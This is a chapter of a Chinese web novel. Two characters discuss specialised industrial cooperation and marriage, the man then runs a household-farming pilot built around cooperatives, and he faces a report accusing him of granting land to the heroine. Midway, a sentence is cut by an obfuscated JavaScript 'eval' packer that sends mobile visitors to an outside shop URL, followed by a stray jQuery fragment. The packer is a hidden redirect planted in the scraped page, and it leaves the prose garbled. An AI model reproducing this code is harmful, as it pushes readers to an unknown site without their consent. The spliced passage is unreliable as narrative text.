随着改革开放的推行,国有企业大而全,即一个厂连螺丝钉、铸造件都要自己干,导致的效率低、浪费大问题,越发凸显。

    相关部门开始探索解决问题的办法,提出打破‘全能厂’模式,把零部件、工艺环节分给不同专业厂做,再总装,形成‘小而专、专而精’的协作体系,这便是顾衍之口中的专业化协作模式。

    他知道这个模式,也了解过这个模式,但他不懂种田,不熟悉各种农产生长环节。是以,无法像林念安一般,一下就想到合适的解决办法。

    但林念安一细说详细操作情况,他立马联想到自己熟悉的,“难怪爷爷叮嘱我,一定要尽快熟悉甚至精通农业。只有熟悉精通,才能像你这样,遇到任何问题都能想到合适的解决办法。”

    林念安被夸得有几分心虚。

    她有如今的干练从容,全赖自己有一颗被知识大爆炸填充过的脑袋,并不是她真的比眼前的男人厉害。

    转念一想,这男人有着绝好的出身,打小所见所闻,是她两辈子加起来都无法企及的。

    这么想来,她确实也不差。

    于是林念安又支棱起来,“一般一般了,也就前不久才有人说我智多近妖。”

    “这是好话吗?”顾衍之有些无语,“你这是做了什么超乎人想象的事,得来这么个评价?”

    “只要我把它当好话,它就是好话。”她才不管别人什么意思,她高兴最重要,“先前我那好弟弟替我张罗婚事,广达茶场两父子卖了我一个好,我做了个‘侨销茶方案’感谢他们。”

    ‘婚事’两字让顾衍之心里咯噔一下,好像被什么东西砸了似的,他从未有过这种感觉。陌生感让他不由有些慌乱,“婚事?你想说亲了?”

    “难道你家里没催你结婚?”她记得这男人二十有八了,“人什么时候该结婚,什么时候该生子,不是早被世俗规定好。一旦没照所谓的规定做,就被看做离经叛道的罪人。”

    林念安一边说,一边不爽地撇嘴。

    足见对这事的怨念。

    就像林念安猜的那般,这事顾衍之自然也避免不了,可他无暇说自己,只紧张地问道,“所以他们逼你了?”

    “也不算逼,就总想拿我换钱。”见之前的兴致被这个沉重的话题败没了,林念安安抚道,“我已经找到能治他们的人。”

    顾衍之的心情,并没因为她这句话变好,他听到自己闷着声音,“你自己呢?你自己对婚姻一事是怎么看的?”

    看着眼前因自己提到婚事,霎时神色骤变的男人,林念安心里一时百转千回。

    要说一开始不相信这人对自己有好感,那随着来往次数的增加,她要再这样想,那就自欺欺人了。

    这男人身上没那种因出身好,而自我感觉良好的优越感,反倒谦逊务实,跟他相处起来蛮舒服的。当然身高长相,也是一等一的好。

    这样的男人,自然很容易让女人为之动心。

    她也不例外。

    不过,她有理智。所以,虽然有些许动心,却没打算这么快捅破这层纸。

    她想跟对方顺其自然地处着,将来能处到哪步算哪步。

    现在对方问了这几乎算挑明好感的问题,林念安知道自己该表明自己的态度了。于是,她看着顾衍之,很认真地说道,“我想跟土楼一起走出这里,在这之前,我不会考虑婚姻的事。”

    “我会一直为走出去这个目标努力,但需要五年、十年,还是二十年才能走出去,我不知道。”用五年,彼时她二十七岁,眼前这男人三十三岁,他们之间还有可能;用十年,彼时她三十二岁,这男人已经三十八岁,他们之间几乎不可能;二十年就更不用说了。

    正是不知道她需要多少年,才能做到她自己想做的事,她才不打算为自己的心动做点什么,或者争取什么。

    明白她的未尽之意,顾衍之没就这话题进一步深入,而是回答了她最初的反问,“我家里当然催过婚,也想尽过办法安排我相看。最初我配合过,甚至想过相到顺眼的,就顺他们的意结婚。”

    “后来有一次碰到一个自称从小就喜欢我的人,为逼我就范,给我下那不入流的药。从那后我就拒绝家里的任何相看安排,并告诉他们再逼我,我就去喜欢男人。”意识到这话不妥,顾衍之紧接着补充了一句,“虽然我还没有喜欢的人,但我也没喜欢男人。”

    “我知道。”林念安哭笑不得地接了句。

    这人对自己的好感都这么明显了,怎么可能喜欢男人?!

    她感觉对方也还没做好成家的打算,于是她询问道,“那我们继续这样相处着?其他的事,交给时间?”

    顾衍之倒不是还不想成家,而是他感觉得出林念安还没这方面的打算,正好他现在也忙,“行,照你说的。”

    ……

    得知这次顾衍之是为包产到户的试点工作,到大队实地考察,族长跟他说了上板大队,以及周边大队一些类似的阻力。

    既然为包产到户的情况而来,自然是了解政策推行过程中的阻力。

    上板大队领导班子的情况,顾衍之已经知道,族长没赘述。他主要讲其他集体制既得利益阶者,以及五保户和鳏寡孤独这类家里缺少劳动力的人家。

    既得利益者就是在集体制中担任职务,这职务能让他们免于下地干农活,还能让他们得到比干活的人多的那部分人。一旦分产到户,他们手上的权力没有了,好处也没了,自然不愿意。

    至于五保户和鳏寡孤独这些人,集体制时为照顾他们,总会给他们安排轻松的活,从一定程度上来说,也是得利者。分产到户后,这些人没有劳动力耕种分给他们的田,他们就再享受不到优待。

    “第一种人,好歹在乎脸面,就算反对也不会做过激的事。第二部分人就不一样了,撒泼上吊啥无赖的事都能做得出来,是最难搞的。”族长总结道。

    顾衍之了悟地点点头,“这些人确实需要妥善的安排。”

    他们的难搞,源于恐惧。

    恐惧分产到户后,没有集体兜底,一旦地里没收成,他们就得挨饿受冻,甚至死人。

    “国家提出分产到户是为了让人民过上更好的日子,包括五保户和鳏寡孤独者。我们不能为搞改革,忽略这部分弱势群体。”

    “有你这句话我安心了。”真推

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642845|205872||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    行包产到户,族长担心这些人生活没保障。

    现在他放心了。

    ……

    清楚主要阻力后,顾衍之着手行动,他先让各大队上交本大队这类人的名单,然后自己照着名单一一走访这些人,了解他们的真实诉求,最后才制定出三条相应策略。

    第一,成立种田专业合作社,配备专业农技人员、水利人员,专门服务于种田遇到的各种问题。

    第二,原先五保户的照顾政策不变,没纳入五保户的其他鳏寡孤独者,分田后由专业合作社统一种植,统一管理,收成后截留一定比例,作为合作社的酬劳。

    第三,对那些反对分产到户的既得利益者,能吸纳到合作社的,尽量吸纳到合作社。打破他们抱团搞反对的囚笼,再借助被招揽到合作社的人,打击那些没进合作社的人。

    三个组合拳打下来,当即有两个生产大队主动申请成为试点单位,一是上板大队,一是塔下村。

    这次的试点为求公平公正,水田、山田怎么搭配着分合理,由专业的农技人员,科学合理分配;灌溉水源问题怎么解决,则由专门的水利工作人员解决。

    于是各家分到的田好坏占比均衡,灌溉方面也没出现像第五、第七生产大队那种为抢灌溉矛盾百出的情况。

    既有专家的指导,又有各自精心的照料,分产到户不过试点一个月时间,上板大队和塔下村的水稻,肉眼可见的比集体耕种的水稻好。

    形式比预想的好,顾衍之一直紧绷的心,总算稍稍放下来。

    只是这才稍微松快点,就收到书记紧急召他回公社的消息。

    自打上板大队和塔下村的试点工作开始,他几乎驻扎在两个大队,以便随时发现问题、随时解决问题。不过中间回了两趟公社,跟书记汇报工作情况。

    他前两天才回过公社,没听说什么特别的事,书记却突然召他回公社,怕是有什么意外变动。想到这里,顾衍之不敢耽搁,当即匆匆蹬上自行车赶往公社。

    顶着大太阳蹬了四十分钟自行车,总算到公社,停好自行车,顾衍之直接敲开书记办公室,“这么紧急召我回来,可是发生什么事了?”

    眼前的青年,卷着的土布裤裤管上沾着泥土,一看就知道这是从田里起来,急忙赶来公社的。人比刚来那会儿黑了不少,脸上原本浓厚的书卷气,在这一个多月的基层工作中化成了坚韧和刚毅。

    一开始,他是真没觉得这么个连种田都不懂的公子哥,能在基层扑腾出什么水花。可对方硬是在一个多月的时间里,用事实告诉他,他不是那些瞎混的公子哥,他是真的能为老百姓干实事的基层干部。

    书记是老派人,不看人的出身,看人的真本事。

    书记欣赏有本事的人。

    面对他认可的人,难免生出惜才之心,“有人写举报信举报你,我叫你来了解清楚情况。”

    举报信是个敏感的东西,哪怕顾衍之自问问心无愧,听到这三个字也不由眼皮一跳,“什么举报信?举报什么?”

    “举报你假公济私,滥用职权,给一个叫林念安的姑娘批地。”书记也没卖关子,“说说怎么回事吧。”